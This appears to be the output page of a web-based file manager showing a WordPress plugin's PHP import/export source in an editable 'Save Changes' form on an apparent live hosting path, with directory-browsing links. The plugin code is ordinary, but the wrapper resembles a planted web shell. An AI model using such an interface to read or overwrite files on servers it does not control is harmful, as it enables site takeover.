<h2>File Contents: /home/planet5/public_html/wp-content/plugins/coming-soon/admin/includes/import-export-utilities.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/coming-soon/admin/includes/import-export-utilities.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Import/Export Utility Functions (V2)
 *
 * This file contains all utility functions used by the V2 import/export system.
 * These functions are completely independent from the old /app/ functions.
 *
 * @package SeedProd
 */

// Exit if accessed directly.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}


/**
 * Recursively remove directory (V2 implementation).
 *
 * @param string $dir Directory path to remove.
 * @return boolean True on success, false on failure.
 */
function seedprod_lite_v2_recursive_rmdir( $dir ) {
	if ( ! is_dir( $dir ) ) {
		return false;
	}

	$files = array_diff( scandir( $dir ), array( &#039;.&#039;, &#039;..&#039; ) );
	foreach ( $files as $file ) {
		$path = &quot;$dir/$file&quot;;
		if ( is_dir( $path ) ) {
			seedprod_lite_v2_recursive_rmdir( $path );
		} else {
			wp_delete_file( $path );
		}
	}
	return rmdir( $dir ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rmdir -- No WP alternative for rmdir, used within controlled recursive delete function.
}

/**
 * Validate import ZIP file (V2 implementation).
 * Checks ZIP file structure and contents for security.
 *
 * @param string  $zip_file Path to ZIP file.
 * @param boolean $is_theme Whether this is a theme import (vs landing page).
 * @return boolean|WP_Error True if valid, WP_Error on failure.
 */
function seedprod_lite_v2_validate_import_zip( $zip_file, $is_theme = false ) {
	if ( ! class_exists( &#039;ZipArchive&#039; ) ) {
		return new WP_Error( &#039;missing_ziparchive&#039;, __( &#039;ZipArchive class not available&#039;, &#039;coming-soon&#039; ) );
	}

	$zip = new ZipArchive();

	if ( $zip-&gt;open( $zip_file ) !== true ) {
		return new WP_Error( &#039;invalid_zip&#039;, __( &#039;Unable to open zip file&#039;, &#039;coming-soon&#039; ) );
	}

	// Check for required JSON file.
	$required_file     = $is_theme ? &#039;export_theme.json&#039; : &#039;export_page.json&#039;;
	$other_type_file   = $is_theme ? &#039;export_page.json&#039; : &#039;export_theme.json&#039;;
	$has_required_file = false;
	$has_other_type    = false;

	// Validate file structure.
	$allowed_extensions = array( &#039;json&#039;, &#039;jpg&#039;, &#039;jpeg&#039;, &#039;png&#039;, &#039;gif&#039;, &#039;webp&#039;, &#039;svg&#039;, &#039;css&#039;, &#039;ico&#039;, &#039;bmp&#039;, &#039;tiff&#039; );
	$max_file_size      = 100 * 1024 * 1024; // 100MB max per file.

	for ( $i = 0; $i &lt; $zip-&gt;numFiles; $i++ ) {
		$stat     = $zip-&gt;statIndex( $i );
		$filename = $stat[&#039;name&#039;];

		// Check for directory traversal attempts.
		if ( false !== strpos( $filename, &#039;..&#039; ) || 0 === strpos( $filename, &#039;/&#039; ) ) {
			$zip-&gt;close();
			return new WP_Error( &#039;security_risk&#039;, __( &#039;Invalid file path detected in ZIP&#039;, &#039;coming-soon&#039; ) );
		}

		// Check for required file.
		if ( basename( $filename ) === $required_file ) {
			$has_required_file = true;
		} elseif ( basename( $filename ) === $other_type_file ) {
			$has_other_type = true;
		}

		// Skip directories.
		if ( &#039;/&#039; === substr( $filename, -1 ) ) {
			continue;
		}

		// Check file extension.
		$ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
		if ( ! in_array( $ext, $allowed_extensions, true ) ) {
			$zip-&gt;close();
			/* translators: %s: File extension */
			return new WP_Error( &#039;invalid_file_type&#039;, sprintf( __( &#039;Invalid file type: %s&#039;, &#039;coming-soon&#039; ), $ext ) );
		}

		// Check file size.
		if ( $stat[&#039;size&#039;] &gt; $max_file_size ) {
			$zip-&gt;close();
			/* translators: %s: Filename */
			return new WP_Error( &#039;file_too_large&#039;, sprintf( __( &#039;File too large: %s&#039;, &#039;coming-soon&#039; ), $filename ) );
		}
	}

	$zip-&gt;close();

	if ( ! $has_required_file ) {
		if ( $has_other_type ) {
			$error_msg = $is_theme ?
				__( &#039;This ZIP is a landing page export (export_page.json), not a theme. Import it from the Landing Pages screen instead.&#039;, &#039;coming-soon&#039; ) :
				__( &#039;This ZIP is a theme export (export_theme.json), not a landing page. Import it from the Website Builder screen instead.&#039;, &#039;coming-soon&#039; );
			return new WP_Error( &#039;wrong_import_type&#039;, $error_msg );
		}
		$error_msg = $is_theme ?
			__( &#039;Theme data file (export_theme.json) not found in ZIP&#039;, &#039;coming-soon&#039; ) :
			__( &#039;Landing page data file (export_page.json) not found in ZIP&#039;, &#039;coming-soon&#039; );
		return new WP_Error( &#039;missing_data_file&#039;, $error_msg );
	}

	return true;
}

/**
 * Process image filenames for export (V2 implementation).
 * Extracts and processes images from page data.
 *
 * @param string $data Page data (JSON string).
 * @param string $html Page HTML.
 * @return array Processed data with images array.
 */
function seedprod_lite_v2_process_image_filenames( $data, $html ) {
	// Check for exclusion domains but log what we find.
	$has_unsplash        = false !== strpos( $data, &#039;unsplash.com&#039; );
	$has_placehold       = false !== strpos( $data, &#039;placehold.co&#039; );
	$has_assets_seedprod = false !== strpos( $data, &#039;assets.seedprod.com&#039; );

	// Enhanced regex pattern matching the old function.
	$regex = &#039;/(http)[^\s\&#039;&quot;]+?\.(png|jpg|jpeg|gif|ico|svg|bmp|tiff|webp)[^\s\&#039;&quot;]*?(?=[\&#039;&quot;])/i&#039;;

	// if this is a template return - but only if it&#039;s ONLY these domains.
	if ( $has_unsplash &amp;&amp; ! $has_placehold &amp;&amp; ! $has_assets_seedprod ) {
		// Check if there are any other images besides unsplash.
		preg_match_all( $regex, $data, $temp_matches );
		$non_unsplash_images = array_filter(
			$temp_matches[0],
			function ( $url ) {
				return strpos( $url, &#039;unsplash.com&#039; ) === false;
			}
		);

		if ( empty( $non_unsplash_images ) ) {
			return array(
				&#039;data&#039;   =&gt; $data,
				&#039;html&#039;   =&gt; $html,
				&#039;images&#039; =&gt; array(),
			);
		}
	}

	if ( $has_placehold &amp;&amp; ! $has_unsplash &amp;&amp; ! $has_assets_seedprod ) {
		// Check if there are any other images besides placehold.
		preg_match_all( $regex, $data, $temp_matches );
		$non_placehold_images = array_filter(
			$temp_matches[0],
			function ( $url ) {
				return false === strpos( $url, &#039;placehold.co&#039; );
			}
		);

		if ( empty( $non_placehold_images ) ) {
			return array(
				&#039;data&#039;   =&gt; $data,
				&#039;html&#039;   =&gt; $html,
				&#039;images&#039; =&gt; array(),
			);
		}
	}

	$output = array(
		&#039;data&#039;   =&gt; &#039;&#039;,
		&#039;html&#039;   =&gt; &#039;&#039;,
		&#039;images&#039; =&gt; array(),
	);

	$img_srcs_data = array();
	$img_srcs_html = array();

	preg_match_all( $regex, $data, $img_srcs_data );
	preg_match_all( $regex, $html, $img_srcs_html );

	$img_srcs    = array();
	$img_srcs[0] = array_merge( $img_srcs_data[0], $img_srcs_html[0] );
	$img_srcs[2] = array_merge( $img_srcs_data[2], $img_srcs_html[2] );

	// Eliminate duplicates &amp; pair with extension match from above.
	$unique_img_srcs_extensions = array();
	foreach ( $img_srcs[0] as $index =&gt; $img_src ) {
		$unique_img_srcs_extensions[ $img_src ] = $img_srcs[2][ $index ];
	}

	// Need to decode data as WordPress is encoding special characters such as &amp; to &amp;amp; which is.
	// interfering with Unsplash URLs &amp; making it hard to find / replace URLs in strings.
	$processed_data = wp_specialchars_decode( $data );
	$processed_html = wp_specialchars_decode( $html );

	$upload_dir = wp_upload_dir();
	$contentdir = trailingslashit( $upload_dir[&#039;baseurl&#039;] ) . &#039;seedprod-themes-exports/&#039;;

	foreach ( $unique_img_srcs_extensions as $old_url =&gt; $extension ) {
		// Skip specific excluded domains.
		if ( false !== strpos( $old_url, &#039;unsplash.com&#039; ) ) {
			continue;
		}

		if ( false !== strpos( $old_url, &#039;placehold.co&#039; ) ) {
			continue;
		}

		if ( false !== strpos( $old_url, &#039;assets.seedprod.com&#039; ) ) {
			continue;
		}
		if ( false !== strpos( $old_url, &#039;w3.org&#039; ) ) {
			continue;
		}

		$prefix = &#039;theme-builder&#039;;

		// Likewise, decode search string.
		$old_url_decoded = wp_specialchars_decode( $old_url );

		// Fix URL mismatch: Replace old domain with current WordPress domain.
		$current_upload_baseurl = $upload_dir[&#039;baseurl&#039;];

		// Extract the file path from the old URL (everything after /wp-content/uploads/).
		if ( preg_match( &#039;#/wp-content/uploads/(.+)$#&#039;, $old_url_decoded, $matches ) ) {
			$file_path         = $matches[1];
			$corrected_old_url = $current_upload_baseurl . &#039;/&#039; . $file_path;
			$old_url_decoded   = $corrected_old_url;
		}

		$alphanumeric_chars = &#039;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#039;;
		$random_chars       = substr( str_shuffle( $alphanumeric_chars ), 0, 16 );

		$filename = $prefix . &#039;-&#039; . $random_chars . &#039;.&#039; . $extension;
		$new_url  = $contentdir . $filename;

		// Replace URL for local preview.
		$processed_data = str_replace( $old_url_decoded, $new_url, $processed_data );
		$processed_html = str_replace( $old_url_decoded, $new_url, $processed_html );

		$output[&#039;images&#039;][] = array(
			&#039;prefix&#039;    =&gt; $prefix,
			&#039;extension&#039; =&gt; $extension,
			&#039;filename&#039;  =&gt; $filename,
			&#039;old_url&#039;   =&gt; $old_url_decoded,
			&#039;new_url&#039;   =&gt; $new_url,
		);
	}

	$output[&#039;data&#039;] = $processed_data;
	$output[&#039;html&#039;] = $processed_html;

	return $output;
}

/**
 * Save images locally (V2 implementation).
 * Downloads remote images and saves them locally.
 *
 * @param array $img_arr Array of image data.
 * @return array Array of images that failed to download.
 */
function seedprod_lite_v2_save_images_locally( $img_arr ) {
	$failed_images = array();

	if ( empty( $img_arr ) ) {
		return $failed_images;
	}

	$upload_dir = wp_upload_dir();
	$export_dir = trailingslashit( $upload_dir[&#039;basedir&#039;] ) . &#039;seedprod-themes-exports/&#039;;

	// Ensure export directory exists.
	if ( ! file_exists( $export_dir ) ) {
		wp_mkdir_p( $export_dir );
	}

	foreach ( $img_arr as $index =&gt; $image ) {
		if ( empty( $image[&#039;old_url&#039;] ) || empty( $image[&#039;filename&#039;] ) ) {
			continue;
		}

		// Download image.
		$response = wp_remote_get(
			$image[&#039;old_url&#039;],
			array(
				&#039;sslverify&#039; =&gt; false,
			)
		);

		if ( is_wp_error( $response ) ) {
			$failed_images[] = $image;
			continue;
		}

		$response_code = wp_remote_retrieve_response_code( $response );

		if ( 200 !== $response_code ) {
			$failed_images[] = $image;
			continue;
		}

		$image_data = wp_remote_retrieve_body( $response );
		if ( empty( $image_data ) ) {
			$failed_images[] = $image;
			continue;
		}

		// Save image to file.
		global $wp_filesystem;
		if ( empty( $wp_filesystem ) ) {
			require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;
			WP_Filesystem();
		}

		$save_path = $export_dir . $image[&#039;filename&#039;];
		$saved     = $wp_filesystem-&gt;put_contents( $save_path, $image_data, FS_CHMOD_FILE );

		if ( ! $saved ) {
			$failed_images[] = $image;
		}
	}

	return $failed_images;
}


/**
 * Import landing page JSON data (V2 implementation).
 * Processes and imports landing page data.
 *
 * @param object $json_content Landing page data object.
 * @return array {
 *     Result of the import.
 *
 *     @type int[] $imported_pages IDs of pages created during the import.
 *     @type array $warnings       Per-image warnings collected from the sideload step.
 * }
 */
function seedprod_lite_v2_landing_import_json( $json_content = null ) {
	$imported_pages = array();
	$warnings       = array();

	// Validate input.
	if ( null === $json_content || ! is_object( $json_content ) ) {
		return array(
			&#039;imported_pages&#039; =&gt; $imported_pages,
			&#039;warnings&#039;       =&gt; $warnings,
		);
	}

	if ( empty( $json_content-&gt;theme ) || ! is_array( $json_content-&gt;theme ) ) {
		return array(
			&#039;imported_pages&#039; =&gt; $imported_pages,
			&#039;warnings&#039;       =&gt; $warnings,
		);
	}

	global $wpdb;
	$tablename = $wpdb-&gt;prefix . &#039;posts&#039;;

	$old_home_url = isset( $json_content-&gt;current_home_url ) ? $json_content-&gt;current_home_url : &#039;&#039;;
	$new_home_url = home_url();

	// Get existing special page IDs.
	$csp_id    = get_option( &#039;seedprod_coming_soon_page_id&#039; );
	$mmp_id    = get_option( &#039;seedprod_maintenance_mode_page_id&#039; );
	$p404_id   = get_option( &#039;seedprod_404_page_id&#039; );
	$loginp_id = get_option( &#039;seedprod_login_page_id&#039; );

	// Track shortcode mappings.
	$shortcode_array = array();
	if ( ! empty( $json_content-&gt;mapped ) &amp;&amp; is_array( $json_content-&gt;mapped ) ) {
		foreach ( $json_content-&gt;mapped as $k =&gt; $t ) {
			$shortcode_array[] = array(
				&#039;id&#039;         =&gt; isset( $t-&gt;id ) ? $t-&gt;id : &#039;&#039;,
				&#039;shortcode&#039; =&gt; base64_decode( $t-&gt;shortcode ), // phpcs:ignore
				&#039;page_title&#039; =&gt; $t-&gt;page_title,
			);
		}
	}

	$import_page_array = array();

	// Process each landing page.
	foreach ( $json_content-&gt;theme as $v ) {
		// Browsers do not unescape &quot;\/&quot; inside HTML attributes; normalize so &lt;img src&gt; renders.
		$post_content          = ! empty( $v-&gt;post_content ) ? str_replace( &#039;\\/&#039;, &#039;/&#039;, base64_decode( $v-&gt;post_content ) ) : &#039;&#039;;
		$post_content_filtered = ! empty( $v-&gt;post_content_filtered ) ? str_replace( &#039;\\/&#039;, &#039;/&#039;, base64_decode( $v-&gt;post_content_filtered ) ) : &#039;&#039;;
		$post_title            = ! empty( $v-&gt;post_title ) ? base64_decode( $v-&gt;post_title ) : &#039;&#039;;
		$post_type             = ! empty( $v-&gt;post_type ) ? base64_decode( $v-&gt;post_type ) : &#039;page&#039;;
		$post_status           = ! empty( $v-&gt;post_status ) ? base64_decode( $v-&gt;post_status ) : &#039;draft&#039;;
		$ptype                 = ! empty( $v-&gt;ptype ) ? base64_decode( $v-&gt;ptype ) : &#039;&#039;;
		$meta                  = ! empty( $v-&gt;meta ) ? json_decode( base64_decode( $v-&gt;meta ), true ) : array();

		if ( function_exists( &#039;seedprod_lite_heal_import_pcf&#039; ) ) {
			$post_content_filtered = seedprod_lite_heal_import_pcf( $post_content_filtered );
		}

		// Create post.
		$post_data = array(
			&#039;post_title&#039;            =&gt; $post_title,
			&#039;post_content&#039;          =&gt; $post_content,
			&#039;post_content_filtered&#039; =&gt; $post_content_filtered,
			&#039;post_status&#039;           =&gt; $post_status,
			&#039;post_type&#039;             =&gt; $post_type,
			&#039;menu_order&#039;            =&gt; ! empty( $v-&gt;order ) ? $v-&gt;order : 0,
		);

		$post_id = wp_insert_post( $post_data );

		if ( ! is_wp_error( $post_id ) ) {
			// For CSS templates, ensure page_type is set in the JSON.
			if ( ! empty( $meta[&#039;_seedprod_page_template_type&#039;][0] ) &amp;&amp; &#039;css&#039; === $meta[&#039;_seedprod_page_template_type&#039;][0] ) {
				$json_data = json_decode( $post_content_filtered, true );
				if ( null !== $json_data ) {
					// Ensure page_type is set at the root level.
					$json_data[&#039;page_type&#039;] = &#039;css&#039;;
					$post_content_filtered  = wp_json_encode( $json_data );
				}
			}

			// Reinsert settings because wp_insert screws up json (following old working logic).
			if ( ! empty( $post_content_filtered ) ) {
				global $wpdb;
				$tablename = esc_sql( $wpdb-&gt;prefix . &#039;posts&#039; );
				$sql       = &quot;UPDATE $tablename SET post_content_filtered = %s, post_content = %s WHERE id = %d&quot;;
				$safe_sql  = $wpdb-&gt;prepare( $sql, $post_content_filtered, $post_content, $post_id ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name escaped with esc_sql(), dynamic SQL assembled for prepare().
				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Table name escaped with esc_sql(), values prepared with wpdb-&gt;prepare().
				$wpdb-&gt;query( $safe_sql );
			}

			$imported_pages[] = $post_id;

			// Store for shortcode mapping.
			$import_page_array[] = array(
				&#039;id&#039;                    =&gt; $post_id,
				&#039;title&#039;                 =&gt; $post_title,
				&#039;post_content&#039;          =&gt; $post_content,
				&#039;post_content_filtered&#039; =&gt; $post_content_filtered,
				&#039;meta&#039;                  =&gt; $meta,
			);

			// Reinsert content to preserve JSON integrity using direct database update.
			$sql      = &quot;UPDATE $tablename SET post_content_filtered = %s, post_content = %s WHERE id = %d&quot;;
			$safe_sql = $wpdb-&gt;prepare( $sql, $post_content_filtered, $post_content, absint( $post_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name escaped with esc_sql(), dynamic SQL assembled for prepare().
			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Table name escaped with esc_sql(), values prepared with wpdb-&gt;prepare().
			$wpdb-&gt;query( $safe_sql );

			// Add post meta.
			if ( ! empty( $meta ) ) {
				foreach ( $meta as $meta_key =&gt; $meta_value ) {
					if ( is_array( $meta_value ) &amp;&amp; count( $meta_value ) === 1 ) {
						$meta_value = maybe_unserialize( $meta_value[0] );
					}
					update_post_meta( $post_id, $meta_key, $meta_value );
				}
			}

			// Generate UUID if needed.
			if ( empty( $meta[&#039;_seedprod_page_uuid&#039;] ) ) {
				update_post_meta( $post_id, &#039;_seedprod_page_uuid&#039;, wp_generate_uuid4() );
			}

			// Set page type if specified.
			if ( ! empty( $ptype ) ) {
				update_post_meta( $post_id, &#039;_seedprod_page_type&#039;, $ptype );

				// Update special page options based on ptype.
				if ( &#039;cs&#039; === $ptype ) {
					update_option( &#039;seedprod_coming_soon_page_id&#039;, $post_id );
				}
				if ( &#039;mm&#039; === $ptype ) {
					update_option( &#039;seedprod_maintenance_mode_page_id&#039;, $post_id );
				}
				if ( &#039;p404&#039; === $ptype ) {
					update_option( &#039;seedprod_404_page_id&#039;, $post_id );
				}
				if ( &#039;loginp&#039; === $ptype ) {
					update_option( &#039;seedprod_login_page_id&#039;, $post_id );
				}
			}
		}
	}

	// Process shortcode remapping, image import, and CSS extraction.
	foreach ( $import_page_array as $t =&gt; $val ) {
		$post_content          = $val[&#039;post_content&#039;];
		$post_content_filtered = $val[&#039;post_content_filtered&#039;];
		$post_id               = $val[&#039;id&#039;];

		// Replace old home URL with new home URL.
		if ( ! empty( $old_home_url ) ) {
			$post_content          = str_replace( $old_home_url, $new_home_url, $post_content );
			$post_content_filtered = str_replace( $old_home_url, $new_home_url, $post_content_filtered );
		}

		// Replace export path with import path.
		$post_content          = str_replace( &#039;seedprod-themes-exports&#039;, &#039;seedprod-themes-imports&#039;, $post_content );
		$post_content_filtered = str_replace( &#039;seedprod-themes-exports&#039;, &#039;seedprod-themes-imports&#039;, $post_content_filtered );

		// Import images into the WordPress media library.
		if ( function_exists( &#039;seedprod_lite_process_image_filenames_import_theme&#039; ) ) {
			$processed_data_import = seedprod_lite_process_image_filenames_import_theme( $post_content_filtered, $post_content );
			$post_content          = $processed_data_import[&#039;html&#039;];
			$post_content_filtered = $processed_data_import[&#039;data&#039;];
			if ( ! empty( $processed_data_import[&#039;warnings&#039;] ) ) {
				$warnings = array_merge( $warnings, $processed_data_import[&#039;warnings&#039;] );
			}
		}

		// Replace shortcodes if we have mappings.
		if ( count( $shortcode_array ) &gt; 0 ) {
			foreach ( $shortcode_array as $k =&gt; $sc ) {
				$shortcode_page_title = $sc[&#039;page_title&#039;];
				$fetch_shortcode_key  = array_search( $shortcode_page_title, array_column( $import_page_array, &#039;title&#039; ), true ); // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict -- Handled by third parameter.

				if ( false !== $fetch_shortcode_key ) {
					$fetch_shortcode_id = $import_page_array[ $fetch_shortcode_key ][&#039;id&#039;];

					$shortcode_page_sc = $sc[&#039;shortcode&#039;];
					$shortcode_page_sc = str_replace( &#039;[sp_template_part id=&quot;&#039;, &#039;&#039;, $shortcode_page_sc );
					$shortcode_page_sc = str_replace( &#039;&quot;]&#039;, &#039;&#039;, $shortcode_page_sc );

					if ( $fetch_shortcode_id ) {
						// Replace in HTML.
						$updated_shortcode = &#039;[sp_template_part id=&quot;&#039; . $fetch_shortcode_id . &#039;&quot;]&#039;;
						$post_content      = str_replace( $sc[&#039;shortcode&#039;], $updated_shortcode, $post_content );

						// Replace in JSON data.
						$old_templateparts     = &#039;&quot;templateparts&quot;:&quot;&#039; . $shortcode_page_sc . &#039;&quot;&#039;;
						$new_templateparts     = &#039;&quot;templateparts&quot;:&quot;&#039; . $fetch_shortcode_id . &#039;&quot;&#039;;
						$post_content_filtered = str_replace( $old_templateparts, $new_templateparts, $post_content_filtered );
					}
				}
			}
		}

		// CSS templates carry their CSS in meta; every other page has it extracted
		// from HTML below. Meta values are get_post_meta() shaped, so index them.
		$item_meta       = isset( $val[&#039;meta&#039;] ) &amp;&amp; is_array( $val[&#039;meta&#039;] ) ? $val[&#039;meta&#039;] : array();
		$is_css_template = isset( $item_meta[&#039;_seedprod_page_template_type&#039;][0] ) &amp;&amp;
							&#039;css&#039; === $item_meta[&#039;_seedprod_page_template_type&#039;][0];

		if ( $is_css_template ) {
			// For CSS templates (Global CSS), handle special CSS meta.
			// Get CSS from meta if available (following old import logic exactly).
			$custom_css  = &#039;&#039;;
			$builder_css = &#039;&#039;;

			if ( isset( $item_meta[&#039;_seedprod_css&#039;][0] ) ) {
				$css = str_replace( &#039;TO_BE_REPLACED&#039;, home_url(), $item_meta[&#039;_seedprod_css&#039;][0] );
			} else {
				// Fallback to post_content if no meta.
				$css = str_replace( &#039;TO_BE_REPLACED&#039;, home_url(), $post_content );
			}

			if ( isset( $item_meta[&#039;_seedprod_builder_css&#039;][0] ) ) {
				$builder_css = str_replace( &#039;TO_BE_REPLACED&#039;, home_url(), $item_meta[&#039;_seedprod_builder_css&#039;][0] );
			}

			// Update all CSS meta fields.
			update_post_meta( $post_id, &#039;_seedprod_css&#039;, $css );
			update_post_meta( $post_id, &#039;_seedprod_custom_css&#039;, $custom_css );
			update_post_meta( $post_id, &#039;_seedprod_builder_css&#039;, $builder_css );

			// Set BOTH option names (old system uses both).
			$previous_css_page_id = get_option( &#039;seedprod_global_css_page_id&#039; );
			update_option( &#039;global_css_page_id&#039;, $post_id );
			// seedprod_lite_generate_css_file() reads this option to decide whether to
			// write style-global.css, so it must point at the new page before generating.
			update_option( &#039;seedprod_global_css_page_id&#039;, $post_id );

			// Generate CSS file with combined CSS and proper @import handling.
			$combined_css = function_exists( &#039;seedprod_lite_merge_global_custom_css&#039; )
				? seedprod_lite_merge_global_custom_css( $css, $custom_css )
				: $css;
			if ( function_exists( &#039;seedprod_lite_generate_css_file&#039; ) ) {
				seedprod_lite_generate_css_file( $post_id, $combined_css );
			}

			// Trash the superseded page last so a failure above leaves it in place.
			if ( ! empty( $previous_css_page_id ) &amp;&amp; (int) $previous_css_page_id !== (int) $post_id ) {
				wp_trash_post( $previous_css_page_id );
			}
		} elseif ( function_exists( &#039;seedprod_lite_extract_page_css&#039; ) ) {
			// For regular templates, extract CSS from HTML.
			$code = seedprod_lite_extract_page_css( $post_content, $post_id );
			update_post_meta( $post_id, &#039;_seedprod_css&#039;, $code[&#039;css&#039;] );
			update_post_meta( $post_id, &#039;_seedprod_html&#039;, $code[&#039;html&#039;] );

			if ( function_exists( &#039;seedprod_lite_generate_css_file&#039; ) ) {
				seedprod_lite_generate_css_file( $post_id, $code[&#039;css&#039;] );
			}
		}

		// Update database with remapped content.
		$sql      = &quot;UPDATE $tablename SET post_content_filtered = %s, post_content = %s WHERE id = %d&quot;;
		$safe_sql = $wpdb-&gt;prepare( $sql, $post_content_filtered, $post_content, $post_id ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Table name escaped with esc_sql(), dynamic SQL assembled for prepare().
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Table name escaped with esc_sql(), values prepared with wpdb-&gt;prepare().
		$wpdb-&gt;query( $safe_sql );
	}

	return array(
		&#039;imported_pages&#039; =&gt; $imported_pages,
		&#039;warnings&#039;       =&gt; $warnings,
	);
}

/**
 * Prepare ZIP file for download (V2 implementation).
 * Creates a ZIP file with exported data.
 *
 * @param array  $filenames   Array of filenames to include.
 * @param string $export_json JSON data to include.
 * @param string $type        Export type (&#039;theme&#039; or &#039;page&#039;).
 * @return array Download information including URL and file size.
 * @throws Exception If ZIP operations fail.
 */
function seedprod_lite_v2_prepare_zip( $filenames, $export_json, $type = &#039;theme&#039; ) {
	global $wp_filesystem;

	if ( empty( $wp_filesystem ) ) {
		require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;
		WP_Filesystem();
	}

	$upload_dir = wp_upload_dir();
	$export_dir = trailingslashit( $upload_dir[&#039;basedir&#039;] ) . &#039;seedprod-themes-exports/&#039;;

	// Determine JSON filename based on type.
	$json_filename = ( &#039;theme&#039; === $type ) ? &#039;export_theme.json&#039; : &#039;export_page.json&#039;;

	// Save JSON file.
	$json_path  = $export_dir . $json_filename;
	$json_saved = $wp_filesystem-&gt;put_contents( $json_path, $export_json, FS_CHMOD_FILE );

	if ( ! $json_saved ) {
		throw new Exception( esc_html__( &#039;Failed to save export JSON file.&#039;, &#039;coming-soon&#039; ) );
	}

	// Create ZIP file.
	if ( ! class_exists( &#039;ZipArchive&#039; ) ) {
		throw new Exception( esc_html__( &#039;ZipArchive class not available. Please contact your host.&#039;, &#039;coming-soon&#039; ) );
	}

	$zip          = new ZipArchive();
	$zip_filename = &#039;seedprod-&#039; . $type . &#039;-export-&#039; . gmdate( &#039;Y-m-d-His&#039; ) . &#039;.zip&#039;;
	$zip_path     = $export_dir . $zip_filename;

	$zip_open_result = $zip-&gt;open( $zip_path, ZipArchive::CREATE );
	if ( true !== $zip_open_result ) {
		// translators: %s: ZipArchive error code.
		throw new Exception( sprintf( esc_html__( &#039;Cannot create ZIP file. Error code: %s&#039;, &#039;coming-soon&#039; ), esc_html( $zip_open_result ) ) );
	}

	// Add JSON file.
	if ( ! $zip-&gt;addFile( $json_path, $json_filename ) ) {
		$zip-&gt;close();
		throw new Exception( esc_html__( &#039;Failed to add JSON file to ZIP.&#039;, &#039;coming-soon&#039; ) );
	}

	// Add image files.
	foreach ( $filenames as $filename ) {
		$file_path = $export_dir . $filename;
		if ( file_exists( $file_path ) ) {
			$zip-&gt;addFile( $file_path, $filename );
		}
	}

	$zip-&gt;close();

	// Verify ZIP was created.
	if ( ! file_exists( $zip_path ) ) {
		throw new Exception( esc_html__( &#039;ZIP file was not created successfully.&#039;, &#039;coming-soon&#039; ) );
	}

	$zip_size = filesize( $zip_path );

	// Clean up temporary files (keep ZIP for download).
	wp_delete_file( $json_path );
	foreach ( $filenames as $filename ) {
		wp_delete_file( $export_dir . $filename );
	}

	// Read ZIP and base64-encode for inline delivery.
	// This ensures downloads work in all environments including WordPress Playground.
	$zip_contents = file_get_contents( $zip_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
	if ( false === $zip_contents ) {
		throw new Exception( esc_html__( &#039;Failed to read export file.&#039;, &#039;coming-soon&#039; ) );
	}
	$zip_base64 = base64_encode( $zip_contents ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
	unset( $zip_contents );

	// Clean up ZIP file since it is delivered inline.
	wp_delete_file( $zip_path );

	return array(
		&#039;success&#039;  =&gt; true,
		&#039;filedata&#039; =&gt; $zip_base64,
		&#039;filename&#039; =&gt; $zip_filename,
	);
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-content%2Fplugins%2Fcoming-soon%2Fadmin%2Fincludes'>⬅ Back to Directory</a>